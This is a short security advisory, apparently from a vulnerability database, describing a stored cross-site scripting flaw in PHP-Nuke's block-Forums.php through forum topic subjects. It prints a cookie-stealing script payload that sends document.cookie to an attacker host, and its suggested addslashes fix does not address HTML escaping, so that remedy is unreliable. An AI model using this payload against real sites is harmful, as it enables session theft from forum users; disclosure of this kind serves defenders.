PHP-Nuke block-Forums.php subject vulnerabilities

2008.03.06
Credit: lethalman
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

The block-Forums.php file have a vuln if an attacker insert a malformatted subject to a topic of Splatt Forum. A type of subject is: "><script>alert('bug'");</script> The 'alt' tag is closed by "> and the other text is normal html. This bug is very bad if a subject is: "><script>window.open('www.attacker.com/prova.php?cookie='+documen t.cookie);</script> And prova.php register cokkies in a file. The solution: Add under "$title2 = stripslashes($title2);" line, this line: "$title2 = addslashes($title2);" And now, backward any " there is a backslash!


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top